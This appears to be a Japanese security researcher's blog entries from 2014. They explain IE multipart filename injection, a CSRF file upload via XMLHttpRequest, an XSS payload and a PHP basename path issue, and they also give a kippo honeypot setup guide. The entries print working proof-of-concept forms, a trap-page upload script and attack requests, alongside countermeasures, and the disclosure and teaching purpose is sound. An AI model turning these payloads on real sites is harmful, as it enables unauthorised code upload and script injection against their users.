プライバシーポリシー

2014年1月30日木曜日

IE9以降でもHTMLフォームでファイル名とファイルの中身を外部から指定できる

昨日の日記「IE8以前はHTMLフォームでファイル名とファイルの中身を外部から指定できる」にて、福森大喜さんから教えていただいた内容として、ファイルアップロードのHTMLフォーム(enctype="multipart/form-data")にて、アップロードするファイル名とファイルの中身を外部から指定できることを報告しました。この際にIE8以前という条件がありましたが、今度は、三井物産セキュアディレクション望月岳さんから、「それIE9以降でもできるよ」と教えていただきました。既にご存じだったそうです。福森さん、望月さんという日本を代表するバグハンターから「秘伝のたれ」をおすそわけいただいたようで、興奮気味ですw

まず、おさらいとして、IE8以前でのパターンは下記の通りでした(要点のみ)。
<form enctype="multipart/form-data" action="pro_add_check.php" method="POST">
<input name='gazou"; filename="a.php' type="hidden" value='<? phpinfo();?>'>
<input type="submit" value="submit" />
これによるリクエスト(要点のみ)は下記となり、ファイル名とファイルの中身が指定できていることが分かります(WindowsXP上のIE8で確認)。
-----------------------------7de2af1b3f023e
Content-Disposition: form-data; name="gazou"; filename="a.php"

<? phpinfo();?>
-----------------------------7de2af1b3f023e--
この方法はIE8まででのみ有効で、IE9以降ではname属性中のダブルクォートがパーセントエンコード(%22)されるようなりました。
これに対して、望月さんから教えていただいた方法は、textarea要素を使うものです。望月さんのご許可をいただきましたので下記に公開します。
<textarea name='gazou"; filename="phpinfo.php'>
&lt;?php
phpinfo();
?&gt;
</textarea>
これによるリクエストは下記の通りです。Windows7上のIE11で確認したところ、ファイル名とファイルの中身が指定できていることが分かります。
-----------------------------7de3811808b6
Content-Disposition: form-data; name="gazou"; filename="phpinfo.php"

<?php
phpinfo();
?>

-----------------------------7de3811808b6--
望月さんから教えていただいたtextarea要素が使えるのであれば、select要素でもできるのではないかと考え、試してみました。環境は同じくWindows7上のIE11です。
<select name='gazou"; filename="phpinfo.php'>
<option value="<?php phpinfo(); ?>" selected>1</option>
</select>
すると、下記のリクエストとなり、select要素でもできることが分かりました。
-----------------------------7de6110808b6
Content-Disposition: form-data; name="gazou"; filename="phpinfo.php"

<?php phpinfo(); ?>
-----------------------------7de6110808b6--
さて、上記を公開して良いかについては、少し悩みました。input要素の場合のように、「IE9では改修されているが、IE8以前では放置されている、すなわち改修される見込みが薄い」というものではないと思ったからです。
しかし、望月さんからの情報によると、2008年に既に公知となっているとのことです。また、望月さんからマイクロソフトには連絡済みとのことでした。


既に公開されている情報を隠していても仕方ないので、こうして公開することにしました。上記のリンク先には、Content-Typeを指定する方法も記載されています。これは昨日のエントリで私が追記した方法と同じですね。

ということで、最新のIEであってもファイルアップロードフォームにて、外部からファイル名とファイルの中身を指定できることを紹介しました。これによる影響としては下記が考えられます。

  • CSRFにて別の利用者のブラウザ上からファイルをアップロードする
  • ファイル名のエスケープ漏れがある場合にXSSができる

どちらも、CSRFやXSSの基本的な対策をしていれば防げるものですので大きな影響はありませんが、「攻撃経路がないから大丈夫」と思って手抜きをしていると危険な状態になる可能性がありますね。それに、Unix/Linuxでは「<」や「>」等もファイル名として使える文字ですので、ファイル名のHTMLエスケープはセキュリティ抜きとしても必要な処理です。

2014年1月29日水曜日

IE8以前はHTMLフォームでファイル名とファイルの中身を外部から指定できる

一昨日のエントリ『書籍「気づけばプロ並みPHP」にリモートスクリプト実行の脆弱性』にて、ファイル送信フォームに対するCSRF攻撃の文脈で、私は以下のように書きました。
通常のHTMLフォームを使ったCSRF攻撃では、Content-Typeをmultipart/form-dataにすることまでは可能ですが、ファイルの中身とファイル名を指定する方法がありません。従って、HTMLフォームによる攻撃経路はありません。
大半の方は、「ああ、そうだよね」という感じでお読みいただいたように思いますが、昨日サイバーディフェンス研究所福森大喜さんから、「それIE8以前ならできるよ」と教えていただきました。福森さんの許可を得て、以下にPoCを公開します。
<form enctype="multipart/form-data" action="pro_add_check.php"
method="POST">
<input name="name" value="nnnn" type="hidden">
<input name="price" value="100" type="hidden">
<input name='gazou"; filename="a.php' type="hidden" value='<? phpinfo();
?>'>
<input type="submit" value="submit" />
</form>
これで確かに、ファイル名が a.php に、ファイルの中身が下記の内容になります。
<? phpinfo();
?>
それでは、どうしてこれでファイル名とファイルの中身が指定できるのでしょうか。それを説明するために、まずは正常系のリクエストを下記に示します。
-----------------------------7de34b38200e8
Content-Disposition: form-data; name="name"

nnnn
-----------------------------7de34b38200e8
Content-Disposition: form-data; name="price"

100
-----------------------------7de34b38200e8
Content-Disposition: form-data; name="gazou"; filename="a.php"
Content-Type: text/plain

<? phpinfo();
?>

-----------------------------7de34b38200e8--
ここで、type=textのnameやpriceと、type=fileのgazouを比較すると、fileの方は「; filename="a.php"」とContent-Typeが追加されていることが分かります。そして、もしもname=として下記が指定できれば、filename=を注入できることになります。
gazou"; filename="a.php
そして、IE8 以前では、これができてしまうのですね。Content-Typeは追加できません(訂正: 追加する方法が分かりましたので末尾に追記します)が、PHPはContent-Typeがないフィールドでも、filenameの指定があるだけでファイルと見なすようです。
それでは、IE9以降および他のブラウザだとname=の中のダブルクォートはどうなるかですが、
  • IE9以降およびGoogle Chrome:  %22 にエスケープされる(パーセントエンコード)
  • Firefox: \" にエスケープされる
ということで、この攻撃は使えなくなっています。

このIE8以前の挙動は、マイクロソフト社はIE9以降では修正している、つまり認識しているにも関わらずIE8以前は放置していることと、元々脆弱なアプリケーションのみが影響を受けるということ理由から、Cookie Monster Bugなどと同じく「好ましくない仕様」ということになると考えます。

ということで、アプリケーション側で淡々とCSRF対策しましょう。この問題があるから新たに特別な対策をしなければならない、ということはありません。

ところで、前回は触れなかったのですが、紹介したスクリプトの下記の箇所は、ファイル名をエスケープなしでHTML出力しているので、潜在的なクロスサイト・スクリプティング脆弱性があります。
print'<img src="./gazou/'.$pro_gazou['name'].'" />';
「潜在的な」と書いたのは、通常HTMLフォームではファイル名を外部から指定する方法がないこと、XHR Level2を使ったリクエスト送信では(対象サーバーが明示的に許可していない限り)クロスオリジンでレスポンスを受け取れないし、仮にレスポンスを受け取れたとしてもブラウザに表示されるわけではないのでXSSにはならないことによります。
しかし、福森さんに教えていただいた方法だと、HTMLフォームからファイル名が送信できるので、上記の部分にてXSSが発現します。攻撃の例を下記に示します。
<input name='gazou"; filename="a.gif" onerror="alert(1)' type="hidden" value='GIF87a '>
IE8でこれを実行すると、生成されるimg要素は下記となり、onerror属性が注入されています。
<img src="./gazou/a.gif" onerror="alert(1)">
a.gifという画像はない(実際に生成されるファイル名は「a.gif" onerror="alert(1)」)ので、onerrorイベントによりalertが実行されます(下図)。


ファイル名を用いたXSSでは、PHPが内部でbasename()関数で「/」(Windows版では「\」も)以前を切り取ってしまうので、攻撃文字列には「/」や「\」が使えません。このため上記の例ではonerrorイベントを用いました。

このXSSの方にしても、表示(HTML出力)の際に、変数等を淡々とHTMLエスケープするという原則を守れば脆弱性は混入しないので、IE8以前に対して「特別な配慮」をしなければいけないわけではありません。
むしろ、「これは外部からコントロールできないはずだからエスケープしなくても大丈夫」という「特別な配慮」(手抜き)をせず、原則に従うことが重要です。この点、私の見た多くのPHP入門書では、スクリプトの先頭でまとめて入力値をhtmlspecialchars関数によりエスケープしているものが多く、XSS対策の説明という点で課題があります。

※追記
当初Content-Typeは追記できないと書きましたが、以下のinput要素を用いることで、Contet-Typeも指定できました。メールヘッダインジェクションと同じような要領ですね。
<input name='gazou"; filename="a.php"
Content-Type: text/plain

<?php phpinfo();//' type="hidden" value=''>
これに対するHTTPリクエストは下記の通りです(該当箇所のみ)。
-----------------------------7de2fd25200e8
Content-Disposition: form-data; name="gazou"; filename="a.php"
Content-Type: text/plain

<?php phpinfo();//"


-----------------------------7de2fd25200e8--
ということで、Content-Typeも含めて改変できることが分かりました。

2014年1月27日月曜日

書籍「気づけばプロ並みPHP」にリモートスクリプト実行の脆弱性

書籍「気づけばプロ並みPHP」のサンプルスクリプトにリモートスクリプト実行の脆弱性があるので報告します。

はじめに

Yahoo!知恵袋の質問を読んでいたら、以下の質問がありました。
気づけばプロ並みPHP (著)谷藤賢一 (発行)リックテレコムP112の画像をアップロードする機能でエラーがでます。
http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q11119835496 より引用
質問に対しては回答が既についてクローズされていましたが、引用されているソースを見て任意のファイルを任意のファイル名で、Web公開ディレクトリにアップロードできることに気づきました(下記)。
<?php
// 略
$pro_gazou=$_FILES['gazou'];
// 略
if($pro_gazou['size']>0) {
  if ($pro_gazou['size']>1000000) {
    print'画像が大き過ぎます。';
  } else {
    move_uploaded_file($pro_gazou['tmp_name'],'./gazou/'.$pro_gazou['name']);
    print'<img src="./gazou/'.$pro_gazou['name'].'" />';
    print'<br />';
  }
}
ご覧のように、ファイルサイズの確認はしているものの、ファイルの中身とファイル名については制限がありません。この結果、以下の脆弱性が生じます(代表的なもののみ)。
  • PHPスクリプトをアップロードされ、攻撃者がリモートから任意のスクリプトをWebサーバー上で実行できる
  • HTMLファイルをアップロードされ、利用者のブラウザ上で任意のJavaScriptを当該ドメイン上で実行されられる(XSSと同等の影響)
本稿では、前者のリモートスクリプト実行について説明します。

ファイルアップロードの脆弱性

同書P112の段階ではログイン機能が実装されていませんが、最終的にはこのアップロード機能は店舗スタッフとしてログインした利用者のみが実行できます。
スタッフだからリモートスクリプト実行できても大丈夫、とは言えません。店舗スタッフには商品情報のメンテナンスの権限はありますが、任意のスクリプト実行の権限まではないと考えられるからです。このため、店舗スタッフがリモートスクリプト実行ができてしまう時点で脆弱性と言えます。
しかし、現実の運用では、店舗スタッフにサーバーメンテナンスの権限もある(rootパスワードを正当に知っているなど)状況も考えられます。この場合、この脆弱性による実害はなく、運用上許容し得る場合もあるでしょう。

CSRF攻撃によるファイルアップロードの可能性

それでは、店舗スタッフ以外の人が、任意ファイルをアップロードできる可能性はないでしょうか。これができると重大な脆弱性となります。実は、店舗スタッフに対してCSRF攻撃をかけると、第三者が任意ファイルをアップロードできてしまいます。以下、その方法を説明します。

CSRF攻撃の場合、店舗スタッフとしてログイン中のブラウザから以下のリクエストを送信できることが必要です。
POST /pro_add_check.php HTTP/1.1
Host: example.jp
Cookie: PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXX
Content-Type: multipart/form-data; boundary=--BNDRY
Content-Length: 128

----BNDRY
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: text/plain

<?php phpinfo();   ※任意のPHPコード

----BNDRY--
通常のHTMLフォームを使ったCSRF攻撃では、Content-Typeをmultipart/form-dataにすることまでは可能ですが、ファイルの中身とファイル名を指定する方法がありません。従って、HTMLフォームによる攻撃経路はありません。

XHR Level2によるクロスドメインのファイルアップロード

しかし、XMLHttpRequest Level2(以下、XHR Level2)を使うと、POSTするデータの中身を任意に指定することができ、CSRFによるファイルアップロードが可能になります。
こう書くと、CORS(Cross-Origin Resource Sharing)による保護があるので、対象サイト側で明示的に許可しないとリクエストが送れないはずではないかという疑問が生じるかもしれません。
しかし、CORSによるクロスオリジン通信の制御は、XMLHttpRequestによって送信したリクエストに対して、HTTPレスポンスを送信元のスクリプトが受け取れるか否かに関係します。HTTPリクエストを送信するだけであれば、相手側の許可がなくてもできてしまいます。そして、CSRF攻撃は、HTTPリクエストが送信できれば攻撃可能であり、HTTPレスポンスは必要ありません。
ということで、店舗スタッフがXHR Level2対応のブラウザを使っていれば、以下のようなワナサイトを閲覧した場合、スタッフが知らないうちに、ファイルアップロードのリクエストを自分のブラウザから送信してしまうことになります。
<body>
<script>
  // 以下は送信するHTTPリクエストボディの中身
  // \n\ は改行(\n) と 継続行(行末の\)を示す
  data = '\
----BNDRY\n\
Content-Disposition: form-data; name="file"; filename="a.php"\n\
Content-Type: text/plain\n\
\n\
<?php phpinfo();\n\
\n\
----BNDRY--\n\
';

  var req = new XMLHttpRequest();
  req.open('POST', 'http://example.jp/pro_add_check.php');
  req.setRequestHeader('Content-Type', 'multipart/form-data; boundary=--BNDRY');
  req.withCredentials = true;
  req.send(data);
</script>
</body>
上記スクリプトで、req.withCredentials = true; とあるのは、XMLHttpRequestのリクエストにクッキーを付与せよという指令です。これがないと、スタッフのログイン状態でのリクエストにならず、CSRF攻撃は成立しません。
上記JavaScriptを適当な罠に仕込んでおき、店舗スタッフがうっかり閲覧してしまうと、以下のリクエストが店舗スタッフのブラウザから送信されます。
POST /pro_add_check.php HTTP/1.1
Host: example.jp
Content-Length: 128
Origin: http://trap.example.com
Content-Type: multipart/form-data; boundary=--BNDRY
Referer: http://trap.example.com/d/csrf.html
Cookie: PHPSESSID=jl970047757cdtmi3g32hka0k7

----BNDRY
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: text/plain

<?php phpinfo();

----BNDRY--
このリクエストを見ると、以下のことがわかります。
  • クロスドメインで確かに攻撃リクエストが送信されている。
  • multipart/form-dataの形式のデータが送信されており、PHPスクリプトがアップロードされる
  • 認証Cookieが送信されていて、認証状態でリクエストが受け付けられる
  • OriginヘッダとRefererヘッダがワナサイトを示しているが、元のPHPスクリプトはこれらをチェックしていないので攻撃には影響ない
このスクリプトをCSRF攻撃でアップロードされたタイミングを見計らって、攻撃者が/gazou/a.phpにアクセスすると、以下のようにphpinfoが表示されます。


ということで、第三者が勝手なPHPスクリプトをアップロードして実行できることを確認しました。

対策

サーバーサイドのスクリプト実行を防ぐための最低限の対策は以下となります。
  • アップロードするファイル名の拡張子を画像のもの(.jpg等)に制限する
ですが、元のスクリプトは色々心許ない感じです。たとえば、ファイル名の衝突があった場合、元々あった画像に上書きされてしまいますが、それをチェックする仕組みはなく、運用でカバーするしかありません。このあたり、本当に「プロ並み」となるには、配慮しなければならないポイントが多くありそうです。
また、サーバーサイドのスクリプト実行脆弱性がきわめて危険であることを考えると、保険的な対策として、以下を推奨します。
  • アップロードされた画像は公開領域に保存せず、スクリプト経由でダウンロードさせるようにする
本稿では説明していませんが、アップロードした画像ファイルを悪用したクロスサイト・スクリプティング(XSS)攻撃もあり得ます。詳しくは下記をご覧下さい。
対策としては下記を推奨します。
  • アップロード時に拡張子が画像のもの(.jpg等)であることを確認する
  • 画像のマジックバイト(前述のエントリを参照)を確認する
  • レスポンスヘッダContent-Typeを正しく設定する
  • 保険的に、X-Content-Type-Options: nosniff をレスポンスヘッダとして送信する
具体的なプログラミング例については、下記参考書をご確認ください。
さらに、CSRF脆弱性については、ふつーに対策してください。

まとめ

書籍「気づけばプロ並みPHP」のサンプルスクリプトにリモートスクリプト実行の脆弱性について報告しました。ファイルアップロード単体では、ログインユーザのみが悪用できる脆弱性ですが、CSRF脆弱性を組み合わせることにより、第三者が任意のPHPスクリプトをアップロードできることを示しました。


2014年1月10日金曜日

Windows版PHPのbasename関数はドライブレターを除去しない場合がある

Windows版PHPのbasename関数は、パス名にディレクトリセパレータ(「\」および「/」)がない場合、ドライブレター(「C:」など)を除去しないことが分かりました。

具体的には、basename('c:autoexec.bat') の結果は、引数そのまま c:autoexec.bat となります。一方、basename('c:\autoexec.bat') の結果は、autoexec.bat と、期待通りの結果となります。

これにより、以下のようなスクリプトに対しては、c: などドライブレターが取り除かれないことになります。
$file = $_GET['file'];
readfile(basename($file));
上記に対して、file=c:autoexec.bat を指定すると、readfile('c:autoexec.bat') が実行されます。試してみると、ディレクトリセパレータがない場合、カレントディレクトリのautoexec.bat ではなく、c:\autoexec.bat がオープンされるようです。 ドライブレターは c: に限ったわけではなく、d:ドライブなど他のドライブのルートディレクトリ上のファイルもオープン可能となります。
すなわち、以下の条件が全てそろった場合、アプリケーションの想定ディレクトリではなく、任意ドライブのルートディレクトリの任意ファイルにアクセスできることになります。
  • ファイル名として、basename関数を通しただけのパス名を指定している
  • ディレクトリの指定をしていない。
そして、以下の影響が考えられます。
  • ルートディレクトリに重要情報があり、ファイル名を知る手段があれば、情報漏洩となる
  • 指定したファイルに書き込みができる場合、ルートディレクトリの任意ファイル名で書き込みができる(*1)
と、これだけ見ると「そんなにありそうではないけど、該当する場合はやばくないか」と思われるかもしれませんが、この条件に該当するスクリプトは、このbasename関数の挙動がなくても脆弱である可能性が高いです。
  • ディレクトリ修飾をしていないので、カレントディレクトリのPHPソースファイルにアクセスできる可能性が高い
  • 書き込みできるスクリプトの場合、任意内容のPHPスクリプトを外部から書き込むことにより、スクリプトインジェクションができてしまう
拡張子の制限をしている場合など、脅威は減少しますが、いずれにせよ良くない書き方であるわけで、この機会にソースを見直しましょう。

安全なウェブサイトの作り方改訂第6版によると、ディレクトリトラバーサル脆弱性の根本的解決策は以下のいずれかとなっています。
  • 外部からのパラメータでウェブサーバ内のファイル名を直接指定する実装を避ける。(3-(i)-a)
  • ファイルを開く際は、固定のディレクトリを指定し、かつファイル名にディレクトリ名が含まれないようにする。(3-(i)-b)
先に指摘した「該当するケース」は、3-(i)-bの「固定のディレクトリを指定し」ていない状態ですので、これを指定することで、この問題の影響を受けなくなります。
下記は、安全なウェブサイトの作り方改訂第6版のP71から、ディレクトリトラバーサル脆弱性の修正例です。
$dir = '/home/www/image/';
…
$file_name = $_GET['file_name'];
…
if(!file_exists($dir . basename($file_name))) {
  $file_name = 'nofile.png';
}
$fp = fopen($dir . basename($file_name),'rb');
fpassthru($fp);
上記はWindowsに限った話ではなく、Unix/Linuxでも同じですので、この機会にディレクトリトラバーサル対策の見直しをお勧めします。

なお、当該問題はphp.netにてBug #66395として報告済みで、既にリポジトリ上は修正されていますが、完全には対策されないと予想されます。安全なウェブサイトの作り方のようにアプリケーション側の正しい対応をお勧めします。

*1 Windowsのルートディレクトリに書き込むには高い権限が必要ですが、Windows版Apacheの場合、SYSTEM権限で動作するので、Apache上のPHPからルートディレクトリにファイルを書き込みできることを確認しています。

追記(2014/3/6)

この問題はPHP5.4.25 / PHP5.5.9にて改修されました。詳しくは「Windows版PHPのbasename関数がドライブレターを除去しない問題はPHP5.4.25/PHP5.5.9で改修された」を参照下さい。

2014年1月7日火曜日

digitalOceanクラウド上に安く簡単にkippoハニーポットを構築する

ozumaさんの公開された抱腹絶倒のスライド資料「さくらのVPSに来る悪い人を観察する その2」が凄い人気で、ブクマコメントなどで「ぼくもやってみたい」という希望が多いようです。既に、同じozumaさんが「sshハニーポットをkippoで作ってみる」というエントリで作り方(CentOS6.4想定)を公開されていますが、pythonのモジュールのセットアップなど少し難しいという人がいるかもしれません。

それ、digitalOcean + Ubuntuならもっと簡単に安く(しかも安全に)できるよ

ということで、簡単・安い・安全な kippoハニーポットの作り方を説明します。digitalOceanは一時間約1円の完全従量制なので、お財布も安心ですw

digitanOceanのアカウントを作成する

こちらを参考にdigitalOceanのアカウントをご用意ください。こちらのリンクからアカウントを作成いただけると、私が喜びますw digitalOceanは、完全従量制なので、アカウントを作成した時点では、課金は発生しません。

kippo用のインスタンス(Droplet)を作成する

digitalOceanのコントロールパネルからCREATEというパネルをクリック(あるいはこちらのリンク)して、インスタンスを作成します。
Hostname: kippo                   ← なんでもよい
Select Size: 512MB / 1 CPU  ← できるだけお安いもの
Select Region: New York 2     ← サンフランシスコリージョンが使えないようなのでNew Yorkで
Select Image
Linux Distributions: Ubuntu
Ubuntu 12.04.3 x32              ← Ubuntu 12.04.03 32ビットを選択
Settings: そのままでよい
この状態で、Create Dropletのパネルをクリックするとインスタンスが作成されます。課金はこの時点から始まります。
IPアドレスとrootパスワードがメールで送信されてくるので、それを用いてセットアップします。

Ubuntuのセットアップ

適当なターミナルソフトで、rootでログインしてください。

まず、Ubuntuのアカウントを2つ作成します。1つは管理者(ここでは yamada とします)、もう1つはkippo実行用のユーザ(kippo)です。
# adduser yamada     ← 一般ユーザの管理者。パスワードはしっかり管理
# gpasswd -a yamada sudo    ← yamadaをsudo可能なグループに追加
# adduser kippo       ← kippo実行用ユーザ。パスワードは捨てて良い
# passwd                            ← rootパスワードを変更しておく。捨てて良い
次に、sshのポート番号を変更します。sshのデフォルトポート番号22は kippoに食わせるので、本当のsshのポート番号は別の番号(ここでは10022)に変更します。
# vi /etc/ssh/sshd_config

##Port 22       ← コメントアウト
Port 10022     ← 追加

# service ssh restart
ここで、別のターミナルを起動して、管理用ユーザ(yamada)でログインします(ポート番号の変更をお忘れなく)。sudoできることを確認します。
yamada@kippo:~$ sudo whoami
root                                     ← これを確認した段階で root側の端末はexitして良い
yamada@kippo:~$
kippoに必要なモジュールを追加します。下の2つはdigitalOceanだと予めインストールされているようです。
yamada@kippo:~$ sudo apt-get update
yamada@kippo:~$ sudo apt-get -y install python-crypto
yamada@kippo:~$ sudo apt-get -y install python-twisted
yamada@kippo:~$ sudo apt-get -y install python-zope.interface
yamada@kippo:~$ sudo apt-get -y install python-pyasn1
kippoはデフォルトで2222番ポートを使うため、iptablesを使って、22 ポートを 2222 ポートにリダイレクトしておきます。
yamada@kippo:~$ sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 22 -j REDIRECT --to-port 2222
ここまでで下準備は終わりです。

kippoのインストール

kippoでログインします。
yamada@kippo:~$ sudo su - kippo
kippoをダウンロード、展開。
kippo@kippo:~$ wget http://kippo.googlecode.com/files/kippo-0.8.tar.gz
kippo@kippo:~$ tar xf kippo-0.8.tar.gz
kippo@kippo:~$ cd kippo-0.8/
ログファイルの設定を変更します。
kippo@kippo:~/kippo-0.8$ vi kippo.cfg
※ ファイルの末尾にジャンプ
[database_textlog]            ← コメントアウトの#を消す
logfile = kippo-textlog.log    ← 同上
ここまでで kippoの導入は終わりです。

ここでいったんシャットダウンして、digitalOceanのイメージを作成しておくとよいでしょう。イメージがあれば、いつでもインスタンスは復元できます。インスタンス(Droplet)を削除すると課金が止まります。

kippoの起動

kippoをインストールしたディレクトリに start.sh という起動シェルがあります。
kippo@kippo:~/kippo-0.8$ ./start.sh    ← kippoの起動
Starting kippo in background...Loading dblog engine: textlog
Generating RSA keypair...
done.
kippo@kippo:~/kippo-0.8$

監視する

kippo@kippo:~/kippo-0.8$ tail -f kippo-textlog.log

色々遊ぶ

インスタンスのポート22にsshでログインしてください。デフォルトパスワードは124356です。
nas3:~# w       定番の w コマンド
 00:32:10 up 0 min,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    xxx.xxx.xxx.xxx   00:31    0.00s  0.00s  0.00s w
nas3:~# wget http://example.jp/
--2014-01-07 00:32:16--  http://example.jp/
Connecting to example.jp:80... connected.
HTTP request sent, awaiting response... DNS lookup failed: address 'example.jp' not found: [Errno -2] Name or service not known.
nas3:~# ps -ef
 PID TTY         TIME COMMAND
5673 pts/0       0:00 -bash
5679 pts/0       0:00 ps -ef
nas3:~# exit

ログを見て楽しむ

kippo@kippo:~/kippo-0.8$ tail -f kippo-textlog.log  (続き)
01429996775d11e3b8c304010e82e801 [2014-01-07 00:31:48]: New connection: xxx.xxx.xxx.xxx:xxxx
01429996775d11e3b8c304010e82e801 [2014-01-07 00:31:58]: Login failed [root/admin]
01429996775d11e3b8c304010e82e801 [2014-01-07 00:32:04]: Login succeeded [root/123456]
01429996775d11e3b8c304010e82e801 [2014-01-07 00:32:05]: Terminal size: 90x35
01429996775d11e3b8c304010e82e801 [2014-01-07 00:32:10]: Command [w]
01429996775d11e3b8c304010e82e801 [2014-01-07 00:32:16]: Command [wget http://example.jp/]
01429996775d11e3b8c304010e82e801 [2014-01-07 00:32:41]: Command [ps -ef]
01429996775d11e3b8c304010e82e801 [2014-01-07 00:33:14]: Command [exit]
01429996775d11e3b8c304010e82e801 [2014-01-07 00:34:16]: Connection lost

kippoを終了する

以下のコマンドで kippo を終了できます。
kippo@kippo:~/kippo-0.8$ kill `cat kippo.pid`
kippo@kippo:~/kippo-0.8$

まとめ

kippoをDigitalOcean上のUbuntu12.04に導入、実行する方法を紹介しました。
DigitalOceanの一番安いプランだと、1時間約1円の完全従量ですので、お安く、安全にkippoを楽しむことができます。飽きたらインスタンスをシャットダウンして、イメージ取得の後インスタンスを削除しておけば、課金は発生しません。
それでは、楽しいハニーポットライフを!